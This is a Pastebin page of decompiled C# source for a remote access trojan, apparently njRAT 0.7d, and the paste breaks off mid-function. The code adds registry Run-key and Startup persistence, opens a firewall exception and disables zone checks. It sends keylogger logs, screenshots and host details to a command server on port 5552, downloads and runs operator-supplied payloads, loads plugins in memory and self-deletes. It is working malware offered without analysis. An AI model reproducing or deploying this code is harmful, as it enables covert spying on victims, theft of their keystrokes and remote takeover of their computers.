API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Nov 21st, 2017
94
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.94 KB | None | 0 0
raw download clone embed print report
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using Microsoft.VisualBasic.Devices;
  4. using Microsoft.Win32;
  5. using System;
  6. using System.Diagnostics;
  7. using System.Drawing;
  8. using System.Drawing.Imaging;
  9. using System.IO;
  10. using System.IO.Compression;
  11. using System.Net;
  12. using System.Net.Sockets;
  13. using System.Reflection;
  14. using System.Runtime.CompilerServices;
  15. using System.Runtime.InteropServices;
  16. using System.Security.Cryptography;
  17. using System.Text;
  18. using System.Threading;
  19. using System.Windows.Forms;
  20.  
  21. namespace j
  22. {
  23. [StandardModule]
  24. internal sealed class OK
  25. {
  26. public static string VN = "SGFjS2Vk";
  27.  
  28. public static string VR = "0.7d";
  29.  
  30. public static object MT = null;
  31.  
  32. public static string EXE = "server.exe";
  33.  
  34. public static string DR = "TEMP";
  35.  
  36. public static string RG = "23f0e3bce589df29a3e6f3e8879b41c1";
  37.  
  38. public static string H = "127.0.0.1";
  39.  
  40. public static string P = "5552";
  41.  
  42. public static string Y = "|'|'|";
  43.  
  44. public static bool BD = Conversions.ToBoolean("False");
  45.  
  46. public static bool Idr = Conversions.ToBoolean("True");
  47.  
  48. public static bool IsF = Conversions.ToBoolean("False");
  49.  
  50. public static bool Isu = Conversions.ToBoolean("False");
  51.  
  52. public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
  53.  
  54. public static FileStream FS;
  55.  
  56. public static Computer F = new Computer();
  57.  
  58. public static kl kq = null;
  59.  
  60. public static bool Cn = false;
  61.  
  62. public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  63.  
  64. public static TcpClient C = null;
  65.  
  66. private static MemoryStream MeM = new MemoryStream();
  67.  
  68. private static byte[] b = new byte[5121];
  69.  
  70. private static string lastcap = "";
  71.  
  72. public static object PLG = null;
  73.  
  74. [DllImport("ntdll")]
  75. private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
  76.  
  77. [DllImport("avicap32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  78. public static extern bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);
  79.  
  80. [DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetVolumeInformationA", ExactSpelling = true, SetLastError = true)]
  81. private static extern int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);
  82.  
  83. [DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  84. public static extern IntPtr GetForegroundWindow();
  85.  
  86. [DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextA", ExactSpelling = true, SetLastError = true)]
  87. public static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
  88.  
  89. [DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextLengthA", ExactSpelling = true, SetLastError = true)]
  90. public static extern int GetWindowTextLength(long hwnd);
  91.  
  92. public static void DLV(string n)
  93. {
  94. try
  95. {
  96. OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG, true).DeleteValue(n);
  97. }
  98. catch (Exception expr_2C)
  99. {
  100. ProjectData.SetProjectError(expr_2C);
  101. ProjectData.ClearProjectError();
  102. }
  103. }
  104.  
  105. public static object GTV(string n, object ret)
  106. {
  107. object result;
  108. try
  109. {
  110. result = OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG).GetValue(n, RuntimeHelpers.GetObjectValue(ret));
  111. }
  112. catch (Exception expr_32)
  113. {
  114. ProjectData.SetProjectError(expr_32);
  115. result = ret;
  116. ProjectData.ClearProjectError();
  117. }
  118. return result;
  119. }
  120.  
  121. public static bool STV(string n, object t, RegistryValueKind typ)
  122. {
  123. bool result;
  124. try
  125. {
  126. OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG).SetValue(n, RuntimeHelpers.GetObjectValue(t), typ);
  127. result = true;
  128. }
  129. catch (Exception expr_34)
  130. {
  131. ProjectData.SetProjectError(expr_34);
  132. result = false;
  133. ProjectData.ClearProjectError();
  134. }
  135. return result;
  136. }
  137.  
  138. public static string inf()
  139. {
  140. string text = "ll" + OK.Y;
  141. try
  142. {
  143. if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
  144. {
  145. string arg_54_0 = text;
  146. string text2 = OK.DEB(ref OK.VN) + "_" + OK.HWD();
  147. text = arg_54_0 + OK.ENB(ref text2) + OK.Y;
  148. }
  149. else
  150. {
  151. string arg_97_0 = text;
  152. string text2 = Conversions.ToString(OK.GTV("vn", ""));
  153. string text3 = OK.DEB(ref text2) + "_" + OK.HWD();
  154. text = arg_97_0 + OK.ENB(ref text3) + OK.Y;
  155. }
  156. }
  157. catch (Exception expr_9F)
  158. {
  159. ProjectData.SetProjectError(expr_9F);
  160. string arg_BA_0 = text;
  161. string text3 = OK.HWD();
  162. text = arg_BA_0 + OK.ENB(ref text3) + OK.Y;
  163. ProjectData.ClearProjectError();
  164. }
  165. try
  166. {
  167. text = text + Environment.MachineName + OK.Y;
  168. }
  169. catch (Exception expr_DA)
  170. {
  171. ProjectData.SetProjectError(expr_DA);
  172. text = text + "??" + OK.Y;
  173. ProjectData.ClearProjectError();
  174. }
  175. try
  176. {
  177. text = text + Environment.UserName + OK.Y;
  178. }
  179. catch (Exception expr_10D)
  180. {
  181. ProjectData.SetProjectError(expr_10D);
  182. text = text + "??" + OK.Y;
  183. ProjectData.ClearProjectError();
  184. }
  185. try
  186. {
  187. text = text + OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
  188. }
  189. catch (Exception expr_15C)
  190. {
  191. ProjectData.SetProjectError(expr_15C);
  192. text = text + "??-??-??" + OK.Y;
  193. ProjectData.ClearProjectError();
  194. }
  195. text = text + "" + OK.Y;
  196. try
  197. {
  198. text += OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win");
  199. }
  200. catch (Exception expr_1FF)
  201. {
  202. ProjectData.SetProjectError(expr_1FF);
  203. text += "??";
  204. ProjectData.ClearProjectError();
  205. }
  206. text += "SP";
  207. checked
  208. {
  209. try
  210. {
  211. string[] array = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
  212. if (array.Length == 1)
  213. {
  214. text += "0";
  215. }
  216. text += array[array.Length - 1];
  217. }
  218. catch (Exception expr_263)
  219. {
  220. ProjectData.SetProjectError(expr_263);
  221. text += "0";
  222. ProjectData.ClearProjectError();
  223. }
  224. try
  225. {
  226. if (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86"))
  227. {
  228. text = text + " x64" + OK.Y;
  229. }
  230. else
  231. {
  232. text = text + " x86" + OK.Y;
  233. }
  234. }
  235. catch (Exception expr_2B7)
  236. {
  237. ProjectData.SetProjectError(expr_2B7);
  238. text += OK.Y;
  239. ProjectData.ClearProjectError();
  240. }
  241. if (OK.Cam())
  242. {
  243. text = text + "Yes" + OK.Y;
  244. }
  245. else
  246. {
  247. text = text + "No" + OK.Y;
  248. }
  249. text = text + OK.VR + OK.Y;
  250. text = text + ".." + OK.Y;
  251. text = text + OK.ACT() + OK.Y;
  252. string text4 = "";
  253. try
  254. {
  255. string[] valueNames = OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames();
  256. for (int i = 0; i < valueNames.Length; i++)
  257. {
  258. string text5 = valueNames[i];
  259. if (text5.Length == 32)
  260. {
  261. text4 = text4 + text5 + ",";
  262. }
  263. }
  264. }
  265. catch (Exception expr_396)
  266. {
  267. ProjectData.SetProjectError(expr_396);
  268. ProjectData.ClearProjectError();
  269. }
  270. return text + text4;
  271. }
  272. }
  273.  
  274. public static string ENB(ref string s)
  275. {
  276. return Convert.ToBase64String(OK.SB(ref s));
  277. }
  278.  
  279. public static string DEB(ref string s)
  280. {
  281. byte[] array = Convert.FromBase64String(s);
  282. return OK.BS(ref array);
  283. }
  284.  
  285. public static byte[] SB(ref string S)
  286. {
  287. return Encoding.UTF8.GetBytes(S);
  288. }
  289.  
  290. public static string BS(ref byte[] B)
  291. {
  292. return Encoding.UTF8.GetString(B);
  293. }
  294.  
  295. public static byte[] ZIP(byte[] B)
  296. {
  297. MemoryStream memoryStream = new MemoryStream(B);
  298. GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
  299. byte[] array = new byte[4];
  300. checked
  301. {
  302. memoryStream.Position = memoryStream.Length - 5L;
  303. memoryStream.Read(array, 0, 4);
  304. int num = BitConverter.ToInt32(array, 0);
  305. memoryStream.Position = 0L;
  306. byte[] array2 = new byte[num - 1 + 1];
  307. gZipStream.Read(array2, 0, num);
  308. gZipStream.Dispose();
  309. memoryStream.Dispose();
  310. return array2;
  311. }
  312. }
  313.  
  314. public static bool Cam()
  315. {
  316. checked
  317. {
  318. try
  319. {
  320. int num = 0;
  321. while (true)
  322. {
  323. short arg_17_0 = (short)num;
  324. string text = Strings.Space(100);
  325. int arg_17_2 = 100;
  326. string text2 = null;
  327. if (OK.capGetDriverDescriptionA(arg_17_0, ref text, arg_17_2, ref text2, 100))
  328. {
  329. break;
  330. }
  331. num++;
  332. if (num > 4)
  333. {
  334. goto Block_3;
  335. }
  336. }
  337. return true;
  338. Block_3:;
  339. }
  340. catch (Exception expr_2C)
  341. {
  342. ProjectData.SetProjectError(expr_2C);
  343. ProjectData.ClearProjectError();
  344. }
  345. return false;
  346. }
  347. }
  348.  
  349. public static string ACT()
  350. {
  351. string result;
  352. try
  353. {
  354. IntPtr foregroundWindow = OK.GetForegroundWindow();
  355. if (foregroundWindow == IntPtr.Zero)
  356. {
  357. result = "";
  358. }
  359. else
  360. {
  361. string text = Strings.Space(checked(OK.GetWindowTextLength((long)foregroundWindow) + 1));
  362. OK.GetWindowText(foregroundWindow, ref text, text.Length);
  363. result = OK.ENB(ref text);
  364. }
  365. }
  366. catch (Exception expr_47)
  367. {
  368. ProjectData.SetProjectError(expr_47);
  369. result = "";
  370. ProjectData.ClearProjectError();
  371. }
  372. return result;
  373. }
  374.  
  375. public static string HWD()
  376. {
  377. string result;
  378. try
  379. {
  380. string text = Interaction.Environ("SystemDrive") + "\\";
  381. string text2 = null;
  382. int arg_2F_2 = 0;
  383. int num = 0;
  384. int num2 = 0;
  385. string text3 = null;
  386. int number;
  387. OK.GetVolumeInformation(ref text, ref text2, arg_2F_2, ref number, ref num, ref num2, ref text3, 0);
  388. result = Conversion.Hex(number);
  389. }
  390. catch (Exception expr_3E)
  391. {
  392. ProjectData.SetProjectError(expr_3E);
  393. result = "ERR";
  394. ProjectData.ClearProjectError();
  395. }
  396. return result;
  397. }
  398.  
  399. public static object Plugin(byte[] b, string c)
  400. {
  401. Module[] modules = Assembly.Load(b).GetModules();
  402. checked
  403. {
  404. for (int i = 0; i < modules.Length; i++)
  405. {
  406. Module module = modules[i];
  407. Type[] types = module.GetTypes();
  408. for (int j = 0; j < types.Length; j++)
  409. {
  410. Type type = types[j];
  411. if (type.FullName.EndsWith("." + c))
  412. {
  413. return module.Assembly.CreateInstance(type.FullName);
  414. }
  415. }
  416. }
  417. return null;
  418. }
  419. }
  420.  
  421. public static void ED()
  422. {
  423. OK.pr(0);
  424. }
  425.  
  426. private static bool CompDir(FileInfo F1, FileInfo F2)
  427. {
  428. if (Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), false) != 0)
  429. {
  430. return false;
  431. }
  432. DirectoryInfo directoryInfo = F1.Directory;
  433. DirectoryInfo directoryInfo2 = F2.Directory;
  434. while (Operators.CompareString(directoryInfo.Name.ToLower(), directoryInfo2.Name.ToLower(), false) == 0)
  435. {
  436. directoryInfo = directoryInfo.Parent;
  437. directoryInfo2 = directoryInfo2.Parent;
  438. if (directoryInfo == null & directoryInfo2 == null)
  439. {
  440. return true;
  441. }
  442. if (directoryInfo == null)
  443. {
  444. return false;
  445. }
  446. if (directoryInfo2 == null)
  447. {
  448. return false;
  449. }
  450. }
  451. return false;
  452. }
  453.  
  454. public static void UNS()
  455. {
  456. OK.pr(0);
  457. OK.Isu = false;
  458. try
  459. {
  460. OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
  461. }
  462. catch (Exception expr_33)
  463. {
  464. ProjectData.SetProjectError(expr_33);
  465. ProjectData.ClearProjectError();
  466. }
  467. try
  468. {
  469. OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
  470. }
  471. catch (Exception expr_68)
  472. {
  473. ProjectData.SetProjectError(expr_68);
  474. ProjectData.ClearProjectError();
  475. }
  476. try
  477. {
  478. Interaction.Shell("netsh firewall delete allowedprogram \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
  479. }
  480. catch (Exception expr_9A)
  481. {
  482. ProjectData.SetProjectError(expr_9A);
  483. ProjectData.ClearProjectError();
  484. }
  485. try
  486. {
  487. if (OK.FS != null)
  488. {
  489. OK.FS.Dispose();
  490. File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe");
  491. }
  492. }
  493. catch (Exception expr_DA)
  494. {
  495. ProjectData.SetProjectError(expr_DA);
  496. ProjectData.ClearProjectError();
  497. }
  498. try
  499. {
  500. OK.F.Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(OK.RG, false);
  501. }
  502. catch (Exception expr_10F)
  503. {
  504. ProjectData.SetProjectError(expr_10F);
  505. ProjectData.ClearProjectError();
  506. }
  507. try
  508. {
  509. Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
  510. }
  511. catch (Exception expr_142)
  512. {
  513. ProjectData.SetProjectError(expr_142);
  514. ProjectData.ClearProjectError();
  515. }
  516. ProjectData.EndApp();
  517. }
  518.  
  519. public static void INS()
  520. {
  521. Thread.Sleep(1000);
  522. if (OK.Idr)
  523. {
  524. if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower())))
  525. {
  526. try
  527. {
  528. if (File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE))
  529. {
  530. File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
  531. }
  532. FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\\" + OK.EXE, FileMode.CreateNew);
  533. byte[] array = File.ReadAllBytes(OK.LO.FullName);
  534. fileStream.Write(array, 0, array.Length);
  535. fileStream.Flush();
  536. fileStream.Close();
  537. OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
  538. Process.Start(OK.LO.FullName);
  539. ProjectData.EndApp();
  540. }
  541. catch (Exception expr_10C)
  542. {
  543. ProjectData.SetProjectError(expr_10C);
  544. ProjectData.EndApp();
  545. ProjectData.ClearProjectError();
  546. }
  547. }
  548. }
  549. try
  550. {
  551. Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
  552. }
  553. catch (Exception expr_131)
  554. {
  555. ProjectData.SetProjectError(expr_131);
  556. ProjectData.ClearProjectError();
  557. }
  558. try
  559. {
  560. Interaction.Shell(string.Concat(new string[]
  561. {
  562. "netsh firewall add allowedprogram \"",
  563. OK.LO.FullName,
  564. "\" \"",
  565. OK.LO.Name,
  566. "\" ENABLE"
  567. }), AppWinStyle.Hide, true, 5000);
  568. }
  569. catch (Exception expr_194)
  570. {
  571. ProjectData.SetProjectError(expr_194);
  572. ProjectData.ClearProjectError();
  573. }
  574. if (OK.Isu)
  575. {
  576. try
  577. {
  578. OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
  579. }
  580. catch (Exception expr_1EC)
  581. {
  582. ProjectData.SetProjectError(expr_1EC);
  583. ProjectData.ClearProjectError();
  584. }
  585. try
  586. {
  587. OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
  588. }
  589. catch (Exception expr_23A)
  590. {
  591. ProjectData.SetProjectError(expr_23A);
  592. ProjectData.ClearProjectError();
  593. }
  594. }
  595. if (OK.IsF)
  596. {
  597. try
  598. {
  599. File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", true);
  600. OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", FileMode.Open);
  601. }
  602. catch (Exception expr_2A1)
  603. {
  604. ProjectData.SetProjectError(expr_2A1);
  605. ProjectData.ClearProjectError();
  606. }
  607. }
  608. }
  609.  
  610. public static void Ind(byte[] b)
  611. {
  612. string[] array = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);
  613. checked
  614. {
  615. try
  616. {
  617. string left = array[0];
  618. if (Operators.CompareString(left, "ll", false) == 0)
  619. {
  620. OK.Cn = false;
  621. }
  622. else if (Operators.CompareString(left, "kl", false) == 0)
  623. {
  624. OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));
  625. }
  626. else if (Operators.CompareString(left, "prof", false) == 0)
  627. {
  628. string left2 = array[1];
  629. if (Operators.CompareString(left2, "~", false) == 0)
  630. {
  631. OK.STV(array[2], array[3], RegistryValueKind.String);
  632. }
  633. else if (Operators.CompareString(left2, "!", false) == 0)
  634. {
  635. OK.STV(array[2], array[3], RegistryValueKind.String);
  636. OK.Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + OK.Y + array[1] + OK.Y, OK.GTV(array[1], ""))));
  637. }
  638. else if (Operators.CompareString(left2, "@", false) == 0)
  639. {
  640. OK.DLV(array[2]);
  641. }
  642. }
  643. else
  644. {
  645. if (Operators.CompareString(left, "rn", false) == 0)
  646. {
  647. byte[] bytes;
  648. if (array[2][0] == '\u001f')
  649. {
  650. try
  651. {
  652. MemoryStream memoryStream = new MemoryStream();
  653. int length = (array[0] + OK.Y + array[1] + OK.Y).Length;
  654. memoryStream.Write(b, length, b.Length - length);
  655. bytes = OK.ZIP(memoryStream.ToArray());
  656. goto IL_20B;
  657. }
  658. catch (Exception expr_189)
  659. {
  660. ProjectData.SetProjectError(expr_189);
  661. OK.Send("MSG" + OK.Y + "Execute ERROR");
  662. OK.Send("bla");
  663. ProjectData.ClearProjectError();
  664. return;
  665. }
  666. }
  667. WebClient webClient = new WebClient();
  668. try
  669. {
  670. bytes = webClient.DownloadData(array[2]);
  671. }
  672. catch (Exception expr_1D4)
  673. {
  674. ProjectData.SetProjectError(expr_1D4);
  675. OK.Send("MSG" + OK.Y + "Download ERROR");
  676. OK.Send("bla");
  677. ProjectData.ClearProjectError();
  678. return;
  679. }
  680. IL_20B:
  681. OK.Send("bla");
  682. string text = Path.GetTempFileName() + "." + array[1];
  683. try
  684. {
  685. File.WriteAllBytes(text, bytes);
  686. Process.Start(text);
  687. OK.Send("MSG" + OK.Y + "Executed As " + new FileInfo(text).Name);
  688. return;
  689. }
  690. catch (Exception expr_261)
  691. {
  692. ProjectData.SetProjectError(expr_261);
  693. Exception ex = expr_261;
  694. OK.Send("MSG" + OK.Y + "Execute ERROR " + ex.Message);
  695. ProjectData.ClearProjectError();
  696. return;
  697. }
  698. }
  699. if (Operators.CompareString(left, "inv", false) == 0)
  700. {
  701. byte[] array2 = (byte[])OK.GTV(array[1], new byte[0]);
  702. if (array[3].Length < 10 & array2.Length == 0)
  703. {
  704. OK.Send(string.Concat(new string[]
  705. {
  706. "pl",
  707. OK.Y,
  708. array[1],
  709. OK.Y,
  710. Conversions.ToString(1)
  711. }));
  712. }
  713. else
  714. {
  715. if (array[3].Length > 10)
  716. {
  717. MemoryStream memoryStream2 = new MemoryStream();
  718. int length2 = string.Concat(new string[]
  719. {
  720. array[0],
  721. OK.Y,
  722. array[1],
  723. OK.Y,
  724. array[2],
  725. OK.Y
  726. }).Length;
  727. memoryStream2.Write(b, length2, b.Length - length2);
  728. array2 = OK.ZIP(memoryStream2.ToArray());
  729. OK.STV(array[1], array2, RegistryValueKind.Binary);
  730. }
  731. OK.Send(string.Concat(new string[]
  732. {
  733. "pl",
  734. OK.Y,
  735. array[1],
  736. OK.Y,
  737. Conversions.ToString(0)
  738. }));
  739. object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(array2, "A"));
  740. NewLateBinding.LateSet(objectValue, null, "h", new object[]
  741. {
  742. OK.H
  743. }, null, null);
  744. NewLateBinding.LateSet(objectValue, null, "p", new object[]
  745. {
  746. OK.P
  747. }, null, null);
  748. NewLateBinding.LateSet(objectValue, null, "osk", new object[]
  749. {
  750. array[2]
  751. }, null, null);
  752. NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true);
  753. while (!Conversions.ToBoolean(Operators.OrObject(!OK.Cn, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false))))
  754. {
  755. Thread.Sleep(1);
  756. }
  757. NewLateBinding.LateSet(objectValue, null, "off", new object[]
  758. {
  759. true
  760. }, null, null);
  761. }
  762. }
  763. else if (Operators.CompareString(left, "ret", false) == 0)
  764. {
  765. byte[] array3 = (byte[])OK.GTV(array[1], new byte[0]);
  766. if (array[2].Length < 10 & array3.Length == 0)
  767. {
  768. OK.Send(string.Concat(new string[]
  769. {
  770. "pl",
  771. OK.Y,
  772. array[1],
  773. OK.Y,
  774. Conversions.ToString(1)
  775. }));
  776. }
  777. else
  778. {
  779. if (array[2].Length > 10)
  780. {
  781. MemoryStream memoryStream3 = new MemoryStream();
  782. int length3 = (array[0] + OK.Y + array[1] + OK.Y).Length;
  783. memoryStream3.Write(b, length3, b.Length - length3);
  784. array3 = OK.ZIP(memoryStream3.ToArray());
  785. OK.STV(array[1], array3, RegistryValueKind.Binary);
  786. }
  787. OK.Send(string.Concat(new string[]
  788. {
  789. "pl",
  790. OK.Y,
  791. array[1],
  792. OK.Y,
  793. Conversions.ToString(0)
  794. }));
  795. object objectValue2 = RuntimeHelpers.GetObjectValue(OK.Plugin(array3, "A"));
  796. string[] array4 = new string[5];
  797. array4[0] = "ret";
  798. array4[1] = OK.Y;
  799. array4[2] = array[1];
  800. array4[3] = OK.Y;
  801. string[] arg_658_0 = array4;
  802. int arg_658_1 = 4;
  803. string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null));
  804. arg_658_0[arg_658_1] = OK.ENB(ref text2);
  805. OK.Send(string.Concat(array4));
  806. }
  807. }
  808. else if (Operators.CompareString(left, "CAP", false) == 0)
  809. {
  810. int arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width;
  811. Rectangle bounds = Screen.PrimaryScreen.Bounds;
  812. Bitmap bitmap = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555);
  813. Graphics graphics = Graphics.FromImage(bitmap);
  814. Graphics arg_6DB_0 = graphics;
  815. int arg_6DB_1 = 0;
  816. int arg_6DB_2 = 0;
  817. int arg_6DB_3 = 0;
  818. int arg_6DB_4 = 0;
  819. Size size = new Size(bitmap.Width, bitmap.Height);
  820. arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy);
  821. try
  822. {
  823. Cursor arg_702_0 = Cursors.Default;
  824. Graphics arg_702_1 = graphics;
  825. Point arg_6FB_1 = Cursor.Position;
  826. size = new Size(32, 32);
  827. bounds = new Rectangle(arg_6FB_1, size);
  828. arg_702_0.Draw(arg_702_1, bounds);
  829. }
  830. catch (Exception expr_709)
  831. {
  832. ProjectData.SetProjectError(expr_709);
  833. ProjectData.ClearProjectError();
  834. }
  835. graphics.Dispose();
  836. Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
  837. graphics = Graphics.FromImage(bitmap2);
  838. graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
  839. graphics.Dispose();
  840. MemoryStream memoryStream4 = new MemoryStream();
  841. string text2 = "CAP" + OK.Y;
  842. b = OK.SB(ref text2);
  843. memoryStream4.Write(b, 0, b.Length);
  844. MemoryStream memoryStream5 = new MemoryStream();
  845. bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
  846. string left3 = OK.md5(memoryStream5.ToArray());
  847. if (Operators.CompareString(left3, OK.lastcap, false) != 0)
  848. {
  849. OK.lastcap = left3;
  850. memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
  851. }
  852. else
  853. {
  854. memoryStream4.WriteByte(0);
  855. }
  856. OK.Sendb(memoryStream4.ToArray());
  857. memoryStream4.Dispose();
  858. memoryStream5.Dispose();
  859. bitmap.Dispose();
  860. bitmap2.Dispose();
  861. }
  862. else if (Operators.CompareString(left, "un", false) == 0)
  863. {
  864. string left4 = array[1];
  865. if (Operators.CompareString(left4, "~", false) == 0)
  866. {
  867. OK.UNS();
  868. }
  869. else if (Operators.CompareString(left4, "!", false) == 0)
  870. {
  871. OK.pr(0);
  872. ProjectData.EndApp();
  873. }
  874. else if (Operators.CompareString(left4, "@", false) == 0)
  875. {
  876. OK.pr(0);
  877. Process.Start(OK.LO.FullName);
  878. ProjectData.EndApp();
  879. }
  880. }
  881. else if (Operators.CompareString(left, "up", false) == 0)
  882. {
  883. byte[] bytes2 = null;
  884. if (array[1][0] == '\u001f')
  885. {
  886. try
  887. {
  888. MemoryStream memoryStream6 = new MemoryStream();
  889. int length4 = (array[0] + OK.Y).Length;
  890. memoryStream6.Write(b, length4, b.Length - length4);
  891. bytes2 = OK.ZIP(memoryStream6.ToArray());
  892. goto IL_97B;
  893. }
  894. catch (Exception expr_8F8)
  895. {
  896. ProjectData.SetProjectError(expr_8F8);
  897. OK.Send("MSG" + OK.Y + "Update ERROR");
  898. OK.Send("bla");
  899. ProjectData.ClearProjectError();
  900. return;
  901. }
  902. }
  903. WebClient webClient2 = new WebClient();
  904. try
  905. {
  906. bytes2 = webClient2.DownloadData(array[1]);
  907. }
  908. catch (Exception expr_944)
  909. {
  910. ProjectData.SetProjectError(expr_944);
  911. OK.Send("MSG" + OK.Y + "Update ERROR");
  912. OK.Send("bla");
  913. ProjectData.ClearProjectError();
  914. return;
  915. }
  916. IL_97B:
  917. OK.Send("bla");
  918. string text3 = Path.GetTempFileName() + ".exe";
  919. try
  920. {
  921. OK.Send("MSG" + OK.Y + "Updating To " + new FileInfo(text3).Name);
  922. Thread.Sleep(2000);
  923. File.WriteAllBytes(text3, bytes2);
  924. Process.Start(text3, "..");
  925. }
  926. catch (Exception expr_9DF)
  927. {
  928. ProjectData.SetProjectError(expr_9DF);
  929. Exception ex2 = expr_9DF;
  930. OK.Send("MSG" + OK.Y + "Update ERROR " + ex2.Message);
  931. ProjectData.ClearProjectError();
  932. return;
  933. }
  934. OK.UNS();
  935. }
  936. else if (Operators.CompareString(left, "Ex", false) == 0)
  937. {
  938. if (OK.PLG == null)
  939. {
  940. OK.Send("PLG");
  941. int num = 0;
  942. while (!(OK.PLG != null | num == 20 | !OK.Cn))
  943. {
  944. num++;
  945. Thread.Sleep(1000);
  946. }
  947. if (OK.PLG == null | !OK.Cn)
  948. {
  949. return;
  950. }
  951. }
  952. object arg_ABB_0 = OK.PLG;
  953. Type arg_ABB_1 = null;
  954. string arg_ABB_2 = "ind";
  955. object[] array5 = new object[]
  956. {
  957. b
  958. };
  959. object[] arg_ABB_3 = array5;
  960. string[] arg_ABB_4 = null;
  961. Type[] arg_ABB_5 = null;
  962. bool[] array6 = new bool[]
  963. {
  964. true
  965. };
  966. NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true);
  967. if (array6[0])
  968. {
  969. b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[]));
  970. }
  971. }
  972. else if (Operators.CompareString(left, "PLG", false) == 0)
  973. {
  974. MemoryStream memoryStream7 = new MemoryStream();
  975. int length5 = (array[0] + OK.Y).Length;
  976. memoryStream7.Write(b, length5, b.Length - length5);
  977. OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(OK.ZIP(memoryStream7.ToArray()), "A"));
  978. NewLateBinding.LateSet(OK.PLG, null, "H", new object[]
  979. {
  980. OK.H
  981. }, null, null);
  982. NewLateBinding.LateSet(OK.PLG, null, "P", new object[]
  983. {
  984. OK.P
  985. }, null, null);
  986. NewLateBinding.LateSet(OK.PLG, null, "c", new object[]
  987. {
  988. OK.C
  989. }, null, null);
  990. }
  991. }
  992. }
  993. catch (Exception expr_BC0)
  994. {
  995. ProjectData.SetProjectError(expr_BC0);
  996. Exception ex3 = expr_BC0;
